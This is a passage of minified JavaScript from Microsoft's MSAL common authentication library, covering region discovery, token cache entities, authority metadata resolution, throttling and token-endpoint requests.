u17=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});var B17=(A,K,q,Y,z)=>{return(...w)=>{q.trace(`Executing function ${K}`);let H=Y?.startMeasurement(K,z);if(z){let J=K+"CallCount";Y?.incrementFields({[J]:1},z)}try{let J=A(...w);return H?.end({success:!0}),q.trace(`Returning result from ${K}`),J}catch(J){q.trace(`Error occurred in ${K}`);try{q.trace(JSON.stringify(J))}catch(O){q.trace("Unable to print error message.")}throw H?.end({success:!1},J),J}}},e9=(A,K,q,Y,z)=>{return(...w)=>{q.trace(`Executing function ${K}`);let H=Y?.startMeasurement(K,z);if(z){let J=K+"CallCount";Y?.incrementFields({[J]:1},z)}return Y?.setPreQueueTime(K,z),A(...w).then((J)=>{return q.trace(`Returning result from ${K}`),H?.end({success:!0}),J}).catch((J)=>{q.trace(`Error occurred in ${K}`);try{q.trace(JSON.stringify(J))}catch(O){q.trace("Unable to print error message.")}throw H?.end({success:!1},J),J})}};var uU=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});class QbA{constructor(A,K,q,Y){this.networkInterface=A,this.logger=K,this.performanceClient=q,this.correlationId=Y}async detectRegion(A,K){this.performanceClient?.addQueueMeasurement(j6.RegionDiscoveryDetectRegion,this.correlationId);let q=A;if(!q){let Y=QbA.IMDS_OPTIONS;try{let z=await e9(this.getRegionFromIMDS.bind(this),j6.RegionDiscoveryGetRegionFromIMDS,this.logger,this.performanceClient,this.correlationId)(u6.IMDS_VERSION,Y);if(z.status===P5.SUCCESS)q=z.body,K.region_source=l7A.IMDS;if(z.status===P5.BAD_REQUEST){let w=await e9(this.getCurrentVersion.bind(this),j6.RegionDiscoveryGetCurrentVersion,this.logger,this.performanceClient,this.correlationId)(Y);if(!w)return K.region_source=l7A.FAILED_AUTO_DETECTION,null;let H=await e9(this.getRegionFromIMDS.bind(this),j6.RegionDiscoveryGetRegionFromIMDS,this.logger,this.performanceClient,this.correlationId)(w,Y);if(H.status===P5.SUCCESS)q=H.body,K.region_source=l7A.IMDS}}catch(z){return K.region_source=l7A.FAILED_AUTO_DETECTION,null}}else K.region_source=l7A.ENVIRONMENT_VARIABLE;if(!q)K.region_source=l7A.FAILED_AUTO_DETECTION;return q||null}async getRegionFromIMDS(A,K){return this.performanceClient?.addQueueMeasurement(j6.RegionDiscoveryGetRegionFromIMDS,this.correlationId),this.networkInterface.sendGetRequestAsync(`${u6.IMDS_ENDPOINT}?api-version=${A}&format=text`,K,u6.IMDS_TIMEOUT)}async getCurrentVersion(A){this.performanceClient?.addQueueMeasurement(j6.RegionDiscoveryGetCurrentVersion,this.correlationId);try{let K=await this.networkInterface.sendGetRequestAsync(`${u6.IMDS_ENDPOINT}?format=json`,A);if(K.status===P5.BAD_REQUEST&&K.body&&K.body["newest-versions"]&&K.body["newest-versions"].length>0)return K.body["newest-versions"][0];return null}catch(K){return null}}}var m17=k(()=>{zH();JI();uU();/*! @azure/msal-common v15.13.1 2025-10-29 */QbA.IMDS_OPTIONS={headers:{Metadata:"true"}}});var FH={};_q(FH,{wasClockTurnedBack:()=>NX6,toSecondsFromDate:()=>b8Y,toDateFromSeconds:()=>UbA,nowSeconds:()=>gT,isTokenExpired:()=>zGA,isCacheExpired:()=>x8Y,delay:()=>u8Y});function gT(){return Math.round(new Date().getTime()/1000)}function b8Y(A){return A.getTime()/1000}function UbA(A){if(A)return new Date(Number(A)*1000);return new Date}function zGA(A,K){let q=Number(A)||0;return gT()+K>q}function x8Y(A,K){let q=Number(A)+K*24*60*60*1000;return Date.now()>q}function NX6(A){return Number(A)>gT()}function u8Y(A,K){return new Promise((q)=>setTimeout(()=>q(K),A))}var xo=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});var LM={};_q(LM,{updateCloudDiscoveryMetadata:()=>pbA,updateAuthorityEndpointMetadata:()=>wGA,isThrottlingEntity:()=>Q8Y,isServerTelemetryEntity:()=>F8Y,isRefreshTokenEntity:()=>g8Y,isIdTokenEntity:()=>m8Y,isCredentialEntity:()=>MH1,isAuthorityMetadataExpired:()=>VH1,isAuthorityMetadataEntity:()=>d8Y,isAppMetadataEntity:()=>p8Y,isAccessTokenEntity:()=>B8Y,generateAuthorityMetadataExpiresAt:()=>PH1,generateAppMetadataKey:()=>U8Y,createRefreshTokenEntity:()=>EX6,createIdTokenEntity:()=>TX6,createAccessTokenEntity:()=>vX6});function TX6(A,K,q,Y,z){return{credentialType:U2.ID_TOKEN,homeAccountId:A,environment:K,clientId:Y,secret:q,realm:z,lastUpdatedAt:Date.now().toString()}}function vX6(A,K,q,Y,z,w,H,J,O,X,$,_,G,Z,W){let D={homeAccountId:A,credentialType:U2.ACCESS_TOKEN,secret:q,cachedAt:gT().toString(),expiresOn:H.toString(),extendedExpiresOn:J.toString(),environment:K,clientId:Y,realm:z,target:w,tokenType:$||x9.BEARER,lastUpdatedAt:Date.now().toString()};if(_)D.userAssertionHash=_;if(X)D.refreshOn=X.toString();if(Z)D.requestedClaims=Z,D.requestedClaimsHash=W;if(D.tokenType?.toLowerCase()!==x9.BEARER.toLowerCase())switch(D.credentialType=U2.ACCESS_TOKEN_WITH_AUTH_SCHEME,D.tokenType){case x9.POP:let j=SU(q,O);if(!j?.cnf?.kid)throw t6(wKA);D.keyId=j.cnf.kid;break;case x9.SSH:D.keyId=G}return D}function EX6(A,K,q,Y,z,w,H){let J={credentialType:U2.REFRESH_TOKEN,homeAccountId:A,environment:K,clientId:Y,secret:q,lastUpdatedAt:Date.now().toString()};if(w)J.userAssertionHash=w;if(z)J.familyId=z;if(H)J.expiresOn=H.toString();return J}function MH1(A){return A.hasOwnProperty("homeAccountId")&&A.hasOwnProperty("environment")&&A.hasOwnProperty("credentialType")&&A.hasOwnProperty("clientId")&&A.hasOwnProperty("secret")}function B8Y(A){if(!A)return!1;return MH1(A)&&A.hasOwnProperty("realm")&&A.hasOwnProperty("target")&&(A.credentialType===U2.ACCESS_TOKEN||A.credentialType===U2.ACCESS_TOKEN_WITH_AUTH_SCHEME)}function m8Y(A){if(!A)return!1;return MH1(A)&&A.hasOwnProperty("realm")&&A.credentialType===U2.ID_TOKEN}function g8Y(A){if(!A)return!1;return MH1(A)&&A.credentialType===U2.REFRESH_TOKEN}function F8Y(A,K){let q=A.indexOf(X_.CACHE_KEY)===0,Y=!0;if(K)Y=K.hasOwnProperty("failedRequests")&&K.hasOwnProperty("errors")&&K.hasOwnProperty("cacheHits");return q&&Y}function Q8Y(A,K){let q=!1;if(A)q=A.indexOf(Nu.THROTTLING_PREFIX)===0;let Y=!0;if(K)Y=K.hasOwnProperty("throttleTime");return q&&Y}function U8Y({environment:A,clientId:K}){return[chA,A,K].join(vU.CACHE_KEY_SEPARATOR).toLowerCase()}function p8Y(A,K){if(!K)return!1;return A.indexOf(chA)===0&&K.hasOwnProperty("clientId")&&K.hasOwnProperty("environment")}function d8Y(A,K){if(!K)return!1;return A.indexOf(d_A.CACHE_KEY)===0&&K.hasOwnProperty("aliases")&&K.hasOwnProperty("preferred_cache")&&K.hasOwnProperty("preferred_network")&&K.hasOwnProperty("canonical_authority")&&K.hasOwnProperty("authorization_endpoint")&&K.hasOwnProperty("token_endpoint")&&K.hasOwnProperty("issuer")&&K.hasOwnProperty("aliasesFromNetwork")&&K.hasOwnProperty("endpointsFromNetwork")&&K.hasOwnProperty("expiresAt")&&K.hasOwnProperty("jwks_uri")}function PH1(){return gT()+d_A.REFRESH_TIME_SECONDS}function wGA(A,K,q){A.authorization_endpoint=K.authorization_endpoint,A.token_endpoint=K.token_endpoint,A.end_session_endpoint=K.end_session_endpoint,A.issuer=K.issuer,A.endpointsFromNetwork=q,A.jwks_uri=K.jwks_uri}function pbA(A,K,q){A.aliases=K.aliases,A.preferred_cache=K.preferred_cache,A.preferred_network=K.preferred_network,A.aliasesFromNetwork=q}function VH1(A){return A.expiresAt<=gT()}var fH1=k(()=>{t_A();H$();zH();xo();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});class $_{constructor(A,K,q,Y,z,w,H,J){this.canonicalAuthority=A,this._canonicalAuthority.validateAsUri(),this.networkInterface=K,this.cacheManager=q,this.authorityOptions=Y,this.regionDiscoveryMetadata={region_used:void 0,region_source:void 0,region_outcome:void 0},this.logger=z,this.performanceClient=H,this.correlationId=w,this.managedIdentity=J||!1,this.regionDiscovery=new QbA(K,this.logger,this.performanceClient,this.correlationId)}getAuthorityType(A){if(A.HostNameAndPort.endsWith(u6.CIAM_AUTH_URL))return jC.Ciam;let K=A.PathSegments;if(K.length)switch(K[0].toLowerCase()){case u6.ADFS:return jC.Adfs;case u6.DSTS:return jC.Dsts}return jC.Default}get authorityType(){return this.getAuthorityType(this.canonicalAuthorityUrlComponents)}get protocolMode(){return this.authorityOptions.protocolMode}get options(){return this.authorityOptions}get canonicalAuthority(){return this._canonicalAuthority.urlString}set canonicalAuthority(A){this._canonicalAuthority=new p5(A),this._canonicalAuthority.validateAsUri(),this._canonicalAuthorityUrlComponents=null}get canonicalAuthorityUrlComponents(){if(!this._canonicalAuthorityUrlComponents)this._canonicalAuthorityUrlComponents=this._canonicalAuthority.getUrlComponents();return this._canonicalAuthorityUrlComponents}get hostnameAndPort(){return this.canonicalAuthorityUrlComponents.HostNameAndPort.toLowerCase()}get tenant(){return this.canonicalAuthorityUrlComponents.PathSegments[0]}get authorizationEndpoint(){if(this.discoveryComplete())return this.replacePath(this.metadata.authorization_endpoint);else throw t6(kM)}get tokenEndpoint(){if(this.discoveryComplete())return this.replacePath(this.metadata.token_endpoint);else throw t6(kM)}get deviceCodeEndpoint(){if(this.discoveryComplete())return this.replacePath(this.metadata.token_endpoint.replace("/token","/devicecode"));else throw t6(kM)}get endSessionEndpoint(){if(this.discoveryComplete()){if(!this.metadata.end_session_endpoint)throw t6(JKA);return this.replacePath(this.metadata.end_session_endpoint)}else throw t6(kM)}get selfSignedJwtAudience(){if(this.discoveryComplete())return this.replacePath(this.metadata.issuer);else throw t6(kM)}get jwksUri(){if(this.discoveryComplete())return this.replacePath(this.metadata.jwks_uri);else throw t6(kM)}canReplaceTenant(A){return A.PathSegments.length===1&&!$_.reservedTenantDomains.has(A.PathSegments[0])&&this.getAuthorityType(A)===jC.Default&&this.protocolMode!==gD.OIDC}replaceTenant(A){return A.replace(/{tenant}|{tenantid}/g,this.tenant)}replacePath(A){let K=A,Y=new p5(this.metadata.canonical_authority).getUrlComponents(),z=Y.PathSegments;return this.canonicalAuthorityUrlComponents.PathSegments.forEach((H,J)=>{let O=z[J];if(J===0&&this.canReplaceTenant(Y)){let X=new p5(this.metadata.authorization_endpoint).getUrlComponents().PathSegments[0];if(O!==X)this.logger.verbose(`Replacing tenant domain name ${O} with id ${X}`),O=X}if(H!==O)K=K.replace(`/${O}/`,`/${H}/`)}),this.replaceTenant(K)}get defaultOpenIdConfigurationEndpoint(){let A=this.hostnameAndPort;if(this.canonicalAuthority.endsWith("v2.0/")||this.authorityType===jC.Adfs||this.protocolMode===gD.OIDC&&!this.isAliasOfKnownMicrosoftAuthority(A))return`${this.canonicalAuthority}.well-known/openid-configuration`;return`${this.canonicalAuthority}v2.0/.well-known/openid-configuration`}discoveryComplete(){return!!this.metadata}async resolveEndpointsAsync(){this.performanceClient?.addQueueMeasurement(j6.AuthorityResolveEndpointsAsync,this.correlationId);let A=this.getCurrentMetadataEntity(),K=await e9(this.updateCloudDiscoveryMetadata.bind(this),j6.AuthorityUpdateCloudDiscoveryMetadata,this.logger,this.performanceClient,this.correlationId)(A);this.canonicalAuthority=this.canonicalAuthority.replace(this.hostnameAndPort,A.preferred_network);let q=await e9(this.updateEndpointMetadata.bind(this),j6.AuthorityUpdateEndpointMetadata,this.logger,this.performanceClient,this.correlationId)(A);this.updateCachedMetadata(A,K,{source:q}),this.performanceClient?.addFields({cloudDiscoverySource:K,authorityEndpointSource:q},this.correlationId)}getCurrentMetadataEntity(){let A=this.cacheManager.getAuthorityMetadataByAlias(this.hostnameAndPort);if(!A)A={aliases:[],preferred_cache:this.hostnameAndPort,preferred_network:this.hostnameAndPort,canonical_authority:this.canonicalAuthority,authorization_endpoint:"",token_endpoint:"",end_session_endpoint:"",issuer:"",aliasesFromNetwork:!1,endpointsFromNetwork:!1,expiresAt:PH1(),jwks_uri:""};return A}updateCachedMetadata(A,K,q){if(K!==EM.CACHE&&q?.source!==EM.CACHE)A.expiresAt=PH1(),A.canonical_authority=this.canonicalAuthority;let Y=this.cacheManager.generateAuthorityMetadataCacheKey(A.preferred_cache);this.cacheManager.setAuthorityMetadata(Y,A),this.metadata=A}async updateEndpointMetadata(A){this.performanceClient?.addQueueMeasurement(j6.AuthorityUpdateEndpointMetadata,this.correlationId);let K=this.updateEndpointMetadataFromLocalSources(A);if(K){if(K.source===EM.HARDCODED_VALUES){if(this.authorityOptions.azureRegionConfiguration?.azureRegion){if(K.metadata){let Y=await e9(this.updateMetadataWithRegionalInformation.bind(this),j6.AuthorityUpdateMetadataWithRegionalInformation,this.logger,this.performanceClient,this.correlationId)(K.metadata);wGA(A,Y,!1),A.canonical_authority=this.canonicalAuthority}}}return K.source}let q=await e9(this.getEndpointMetadataFromNetwork.bind(this),j6.AuthorityGetEndpointMetadataFromNetwork,this.logger,this.performanceClient,this.correlationId)();if(q){if(this.authorityOptions.azureRegionConfiguration?.azureRegion)q=await e9(this.updateMetadataWithRegionalInformation.bind(this),j6.AuthorityUpdateMetadataWithRegionalInformation,this.logger,this.performanceClient,this.correlationId)(q);return wGA(A,q,!0),EM.NETWORK}else throw t6(o7A,this.defaultOpenIdConfigurationEndpoint)}updateEndpointMetadataFromLocalSources(A){this.logger.verbose("Attempting to get endpoint metadata from authority configuration");let K=this.getEndpointMetadataFromConfig();if(K)return this.logger.verbose("Found endpoint metadata in authority configuration"),wGA(A,K,!1),{source:EM.CONFIG};if(this.logger.verbose("Did not find endpoint metadata in the config... Attempting to get endpoint metadata from the hardcoded values."),this.authorityOptions.skipAuthorityMetadataCache)this.logger.verbose("Skipping hardcoded metadata cache since skipAuthorityMetadataCache is set to true. Attempting to get endpoint metadata from the network metadata cache.");else{let Y=this.getEndpointMetadataFromHardcodedValues();if(Y)return wGA(A,Y,!1),{source:EM.HARDCODED_VALUES,metadata:Y};else this.logger.verbose("Did not find endpoint metadata in hardcoded values... Attempting to get endpoint metadata from the network metadata cache.")}let q=VH1(A);if(this.isAuthoritySameType(A)&&A.endpointsFromNetwork&&!q)return this.logger.verbose("Found endpoint metadata in the cache."),{source:EM.CACHE};else if(q)this.logger.verbose("The metadata entity is expired.");return null}isAuthoritySameType(A){return new p5(A.canonical_authority).getUrlComponents().PathSegments.length===this.canonicalAuthorityUrlComponents.PathSegments.length}getEndpointMetadataFromConfig(){if(this.authorityOptions.authorityMetadata)try{return JSON.parse(this.authorityOptions.authorityMetadata)}catch(A){throw az(jKA)}return null}async getEndpointMetadataFromNetwork(){this.performanceClient?.addQueueMeasurement(j6.AuthorityGetEndpointMetadataFromNetwork,this.correlationId);let A={},K=this.defaultOpenIdConfigurationEndpoint;this.logger.verbose(`Authority.getEndpointMetadataFromNetwork: attempting to retrieve OAuth endpoints from ${K}`);try{let q=await this.networkInterface.sendGetRequestAsync(K,A);if(I17(q.body))return q.body;else return this.logger.verbose("Authority.getEndpointMetadataFromNetwork: could not parse response as OpenID configuration"),null}catch(q){return this.logger.verbose(`Authority.getEndpointMetadataFromNetwork: ${q}`),null}}getEndpointMetadataFromHardcodedValues(){if(this.hostnameAndPort in P06)return P06[this.hostnameAndPort];return null}async updateMetadataWithRegionalInformation(A){this.performanceClient?.addQueueMeasurement(j6.AuthorityUpdateMetadataWithRegionalInformation,this.correlationId);let K=this.authorityOptions.azureRegionConfiguration?.azureRegion;if(K){if(K!==u6.AZURE_REGION_AUTO_DISCOVER_FLAG)return this.regionDiscoveryMetadata.region_outcome=aw1.CONFIGURED_NO_AUTO_DETECTION,this.regionDiscoveryMetadata.region_used=K,$_.replaceWithRegionalInformation(A,K);let q=await e9(this.regionDiscovery.detectRegion.bind(this.regionDiscovery),j6.RegionDiscoveryDetectRegion,this.logger,this.performanceClient,this.correlationId)(this.authorityOptions.azureRegionConfiguration?.environmentRegion,this.regionDiscoveryMetadata);if(q)return this.regionDiscoveryMetadata.region_outcome=aw1.AUTO_DETECTION_REQUESTED_SUCCESSFUL,this.regionDiscoveryMetadata.region_used=q,$_.replaceWithRegionalInformation(A,q);this.regionDiscoveryMetadata.region_outcome=aw1.AUTO_DETECTION_REQUESTED_FAILED}return A}async updateCloudDiscoveryMetadata(A){this.performanceClient?.addQueueMeasurement(j6.AuthorityUpdateCloudDiscoveryMetadata,this.correlationId);let K=this.updateCloudDiscoveryMetadataFromLocalSources(A);if(K)return K;let q=await e9(this.getCloudDiscoveryMetadataFromNetwork.bind(this),j6.AuthorityGetCloudDiscoveryMetadataFromNetwork,this.logger,this.performanceClient,this.correlationId)();if(q)return pbA(A,q,!0),EM.NETWORK;throw az(MKA)}updateCloudDiscoveryMetadataFromLocalSources(A){this.logger.verbose("Attempting to get cloud discovery metadata from authority configuration"),this.logger.verbosePii(`Known Authorities: ${this.authorityOptions.knownAuthorities||u6.NOT_APPLICABLE}`),this.logger.verbosePii(`Authority Metadata: ${this.authorityOptions.authorityMetadata||u6.NOT_APPLICABLE}`),this.logger.verbosePii(`Canonical Authority: ${A.canonical_authority||u6.NOT_APPLICABLE}`);let K=this.getCloudDiscoveryMetadataFromConfig();if(K)return this.logger.verbose("Found cloud discovery metadata in authority configuration"),pbA(A,K,!1),EM.CONFIG;if(this.logger.verbose("Did not find cloud discovery metadata in the config... Attempting to get cloud discovery metadata from the hardcoded values."),this.options.skipAuthorityMetadataCache)this.logger.verbose("Skipping hardcoded cloud discovery metadata cache since skipAuthorityMetadataCache is set to true. Attempting to get cloud discovery metadata from the network metadata cache.");else{let Y=v17(this.hostnameAndPort);if(Y)return this.logger.verbose("Found cloud discovery metadata from hardcoded values."),pbA(A,Y,!1),EM.HARDCODED_VALUES;this.logger.verbose("Did not find cloud discovery metadata in hardcoded values... Attempting to get cloud discovery metadata from the network metadata cache.")}let q=VH1(A);if(this.isAuthoritySameType(A)&&A.aliasesFromNetwork&&!q)return this.logger.verbose("Found cloud discovery metadata in the cache."),EM.CACHE;else if(q)this.logger.verbose("The metadata entity is expired.");return null}getCloudDiscoveryMetadataFromConfig(){if(this.authorityType===jC.Ciam)return this.logger.verbose("CIAM authorities do not support cloud discovery metadata, generate the aliases from authority host."),$_.createCloudDiscoveryMetadataFromHost(this.hostnameAndPort);if(this.authorityOptions.cloudDiscoveryMetadata){this.logger.verbose("The cloud discovery metadata has been provided as a network response, in the config.");try{this.logger.verbose("Attempting to parse the cloud discovery metadata.");let A=JSON.parse(this.authorityOptions.cloudDiscoveryMetadata),K=EbA(A.metadata,this.hostnameAndPort);if(this.logger.verbose("Parsed the cloud discovery metadata."),K)return this.logger.verbose("There is returnable metadata attached to the parsed cloud discovery metadata."),K;else this.logger.verbose("There is no metadata attached to the parsed cloud discovery metadata.")}catch(A){throw this.logger.verbose("Unable to parse the cloud discovery metadata. Throwing Invalid Cloud Discovery Metadata Error."),az(yo)}}if(this.isInKnownAuthorities())return this.logger.verbose("The host is included in knownAuthorities. Creating new cloud discovery metadata from the host."),$_.createCloudDiscoveryMetadataFromHost(this.hostnameAndPort);return null}async getCloudDiscoveryMetadataFromNetwork(){this.performanceClient?.addQueueMeasurement(j6.AuthorityGetCloudDiscoveryMetadataFromNetwork,this.correlationId);let A=`${u6.AAD_INSTANCE_DISCOVERY_ENDPT}${this.canonicalAuthority}oauth2/v2.0/authorize`,K={},q=null;try{let Y=await this.networkInterface.sendGetRequestAsync(A,K),z,w;if(h17(Y.body))z=Y.body,w=z.metadata,this.logger.verbosePii(`tenant_discovery_endpoint is: ${z.tenant_discovery_endpoint}`);else if(x17(Y.body)){if(this.logger.warning(`A CloudInstanceDiscoveryErrorResponse was returned. The cloud instance discovery network request's status code is: ${Y.status}`),z=Y.body,z.error===u6.INVALID_INSTANCE)return this.logger.error("The CloudInstanceDiscoveryErrorResponse error is invalid_instance."),null;this.logger.warning(`The CloudInstanceDiscoveryErrorResponse error is ${z.error}`),this.logger.warning(`The CloudInstanceDiscoveryErrorResponse error description is ${z.error_description}`),this.logger.warning("Setting the value of the CloudInstanceDiscoveryMetadata (returned from the network) to []"),w=[]}else return this.logger.error("AAD did not return a CloudInstanceDiscoveryResponse or CloudInstanceDiscoveryErrorResponse"),null;this.logger.verbose("Attempting to find a match between the developer's authority and the CloudInstanceDiscoveryMetadata returned from the network request."),q=EbA(w,this.hostnameAndPort)}catch(Y){if(Y instanceof V5)this.logger.error(`There was a network error while attempting to get the cloud discovery instance metadata. Error: ${Y.errorCode} Error Description: ${Y.errorMessage}`);else{let z=Y;this.logger.error(`A non-MSALJS error was thrown while attempting to get the cloud instance discovery metadata. Error: ${z.name} Error Description: ${z.message}`)}return null}if(!q)this.logger.warning("The developer's authority was not found within the CloudInstanceDiscoveryMetadata returned from the network request."),this.logger.verbose("Creating custom Authority for custom domain scenario."),q=$_.createCloudDiscoveryMetadataFromHost(this.hostnameAndPort);return q}isInKnownAuthorities(){return this.authorityOptions.knownAuthorities.filter((K)=>{return K&&p5.getDomainFromUrl(K).toLowerCase()===this.hostnameAndPort}).length>0}static generateAuthority(A,K){let q;if(K&&K.azureCloudInstance!==RU.None){let Y=K.tenant?K.tenant:u6.DEFAULT_COMMON_TENANT;q=`${K.azureCloudInstance}/${Y}/`}return q?q:A}static createCloudDiscoveryMetadataFromHost(A){return{preferred_network:A,preferred_cache:A,aliases:[A]}}getPreferredCache(){if(this.managedIdentity)return u6.DEFAULT_AUTHORITY_HOST;else if(this.discoveryComplete())return this.metadata.preferred_cache;else throw t6(kM)}isAlias(A){return this.metadata.aliases.indexOf(A)>-1}isAliasOfKnownMicrosoftAuthority(A){return f06.has(A)}static isPublicCloudAuthority(A){return u6.KNOWN_PUBLIC_CLOUDS.indexOf(A)>=0}static buildRegionalAuthorityString(A,K,q){let Y=new p5(A);Y.validateAsUri();let z=Y.getUrlComponents(),w=`${K}.${z.HostNameAndPort}`;if(this.isPublicCloudAuthority(z.HostNameAndPort))w=`${K}.${u6.REGIONAL_AUTH_PUBLIC_CLOUD_SUFFIX}`;let H=p5.constructAuthorityUriFromObject({...Y.getUrlComponents(),HostNameAndPort:w}).urlString;if(q)return`${H}?${q}`;return H}static replaceWithRegionalInformation(A,K){let q={...A};if(q.authorization_endpoint=$_.buildRegionalAuthorityString(q.authorization_endpoint,K),q.token_endpoint=$_.buildRegionalAuthorityString(q.token_endpoint,K),q.end_session_endpoint)q.end_session_endpoint=$_.buildRegionalAuthorityString(q.end_session_endpoint,K);return q}static transformCIAMAuthority(A){let K=A,Y=new p5(A).getUrlComponents();if(Y.PathSegments.length===0&&Y.HostNameAndPort.endsWith(u6.CIAM_AUTH_URL)){let z=Y.HostNameAndPort.split(".")[0];K=`${K}${z}${u6.AAD_TENANT_DOMAIN_SUFFIX}`}return K}}function g17(A){let Y=new p5(A).getUrlComponents().PathSegments.slice(-1)[0]?.toLowerCase();switch(Y){case oV.COMMON:case oV.ORGANIZATIONS:case oV.CONSUMERS:return;default:return Y}}function NH1(A){return A.endsWith(u6.FORWARD_SLASH)?A:`${A}${u6.FORWARD_SLASH}`}function kX6(A){let K=A.cloudDiscoveryMetadata,q=void 0;if(K)try{q=JSON.parse(K)}catch(Y){throw az(yo)}return{canonicalAuthority:A.authority?NH1(A.authority):void 0,knownAuthorities:A.knownAuthorities,cloudDiscoveryMetadata:q}}var TH1=k(()=>{W06();S17();ho();H$();zH();N06();Io();TbA();KH1();b17();u17();m17();DC();JI();uU();fH1();zX();IU();/*! @azure/msal-common v15.13.1 2025-10-29 */$_.reservedTenantDomains=new Set(["{tenant}","{tenantid}",oV.COMMON,oV.CONSUMERS,oV.ORGANIZATIONS])});var vH1={};_q(vH1,{createDiscoveredInstance:()=>CX6});async function CX6(A,K,q,Y,z,w,H){H?.addQueueMeasurement(j6.AuthorityFactoryCreateDiscoveredInstance,w);let J=$_.transformCIAMAuthority(NH1(A)),O=new $_(J,K,q,Y,z,w,H);try{return await e9(O.resolveEndpointsAsync.bind(O),j6.AuthorityResolveEndpointsAsync,z,H,w)(),O}catch(X){throw t6(kM)}}var LX6=k(()=>{TH1();H$();JI();uU();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});var RM;var HGA=k(()=>{DC();/*! @azure/msal-common v15.13.1 2025-10-29 */RM=class RM extends V5{constructor(A,K,q,Y,z){super(A,K,q);this.name="ServerError",this.errorNo=Y,this.status=z,Object.setPrototypeOf(this,RM.prototype)}}});function JGA(A,K,q){return{clientId:A,authority:K.authority,scopes:K.scopes,homeAccountIdentifier:q,claims:K.claims,authenticationScheme:K.authenticationScheme,resourceRequestMethod:K.resourceRequestMethod,resourceRequestUri:K.resourceRequestUri,shrClaims:K.shrClaims,sshKid:K.sshKid,embeddedClientId:K.embeddedClientId||K.tokenBodyParameters?.clientId}}var EH1=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});class BU{static generateThrottlingStorageKey(A){return`${Nu.THROTTLING_PREFIX}.${JSON.stringify(A)}`}static preProcess(A,K,q){let Y=BU.generateThrottlingStorageKey(K),z=A.getThrottlingCache(Y);if(z){if(z.throttleTime<Date.now()){A.removeItem(Y,q);return}throw new RM(z.errorCodes?.join(" ")||u6.EMPTY_STRING,z.errorMessage,z.subError)}}static postProcess(A,K,q,Y){if(BU.checkResponseStatus(q)||BU.checkResponseForRetryAfter(q)){let z={throttleTime:BU.calculateThrottleTime(parseInt(q.headers[YH.RETRY_AFTER])),error:q.body.error,errorCodes:q.body.error_codes,errorMessage:q.body.error_description,subError:q.body.suberror};A.setThrottlingCache(BU.generateThrottlingStorageKey(K),z,Y)}}static checkResponseStatus(A){return A.status===429||A.status>=500&&A.status<600}static checkResponseForRetryAfter(A){if(A.headers)return A.headers.hasOwnProperty(YH.RETRY_AFTER)&&(A.status<200||A.status>=300);return!1}static calculateThrottleTime(A){let K=A<=0?0:A,q=Date.now()/1000;return Math.floor(Math.min(q+(K||Nu.DEFAULT_THROTTLE_TIME_SECONDS),q+Nu.DEFAULT_MAX_THROTTLE_TIME_SECONDS)*1000)}static removeThrottle(A,K,q,Y){let z=JGA(K,q,Y),w=this.generateThrottlingStorageKey(z);A.removeItem(w,q.correlationId)}}var F17=k(()=>{zH();HGA();EH1();/*! @azure/msal-common v15.13.1 2025-10-29 */});var kH1;var Q17=k(()=>{DC();/*! @azure/msal-common v15.13.1 2025-10-29 */kH1=class kH1 extends V5{constructor(A,K,q){super(A.errorCode,A.errorMessage,A.subError);Object.setPrototypeOf(this,kH1.prototype),this.name="NetworkError",this.error=A,this.httpStatus=K,this.responseHeaders=q}}});class FD{constructor(A,K){this.config=R17(A),this.logger=new sV(this.config.loggerOptions,ew1,n_A),this.cryptoUtils=this.config.cryptoInterface,this.cacheManager=this.config.storageInterface,this.networkClient=this.config.networkInterface,this.serverTelemetryManager=this.config.serverTelemetryManager,this.authority=this.config.authOptions.authority,this.performanceClient=K}createTokenRequestHeaders(A){let K={};if(K[YH.CONTENT_TYPE]=u6.URL_FORM_CONTENT_TYPE,!this.config.systemOptions.preventCorsPreflight&&A)switch(A.type){case CM.HOME_ACCOUNT_ID:try{let q=vu(A.credential);K[YH.CCS_HEADER]=`Oid:${q.uid}@${q.utid}`}catch(q){this.logger.verbose("Could not parse home account ID for CCS Header: "+q)}break;case CM.UPN:K[YH.CCS_HEADER]=`UPN: ${A.credential}`;break}return K}async executePostToTokenEndpoint(A,K,q,Y,z,w){if(w)this.performanceClient?.addQueueMeasurement(w,z);let H=await this.sendPostRequest(Y,A,{body:K,headers:q},z);if(this.config.serverTelemetryManager&&H.status<500&&H.status!==429)this.config.serverTelemetryManager.clearTelemetryCache();return H}async sendPostRequest(A,K,q,Y){BU.preProcess(this.cacheManager,A,Y);let z;try{z=await e9(this.networkClient.sendPostRequestAsync.bind(this.networkClient),j6.NetworkClientSendPostRequestAsync,this.logger,this.performanceClient,Y)(K,q);let w=z.headers||{};this.performanceClient?.addFields({refreshTokenSize:z.body.refresh_token?.length||0,httpVerToken:w[YH.X_MS_HTTP_VERSION]||"",requestId:w[YH.X_MS_REQUEST_ID]||""},Y)}catch(w){if(w instanceof kH1){let H=w.responseHeaders;if(H)this.performanceClient?.addFields({httpVerToken:H[YH.X_MS_HTTP_VERSION]||"",requestId:H[YH.X_MS_REQUEST_ID]||"",contentTypeHeader:H[YH.CONTENT_TYPE]||void 0,contentLengthHeader:H[YH.CONTENT_LENGTH]||void 0,httpStatus:w.httpStatus},Y);throw w.error}if(w instanceof V5)throw w;else throw t6(r7A)}return BU.postProcess(this.cacheManager,A,z,Y),z}async updateAuthority(A,K){this.performanceClient?.addQueueMeasurement(j6.UpdateTokenEndpointAuthority,K);let q=`https://${A}/${this.authority.tenant}/`,Y=await CX6(q,this.networkClient,this.cacheManager,this.authority.options,this.logger,K,this.performanceClient);this.authority=Y}createTokenQueryParameters(A){let K=new Map;if(A.embeddedClientId)xU(K,this.config.authOptions.clientId,this.config.authOptions.redirectUri);if(A.tokenQueryParameters)bU(K,A.tokenQueryParameters);return CKA(K,A.correlationId),NKA(K,A.correlationId,this.performanceClient),Eu(K)}}var dbA=k(()=>{$H1();tw1();zH();AH1();CbA();s_A();YGA();PKA();LX6();JI();F17();DC();H$();Q17();uU();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});var 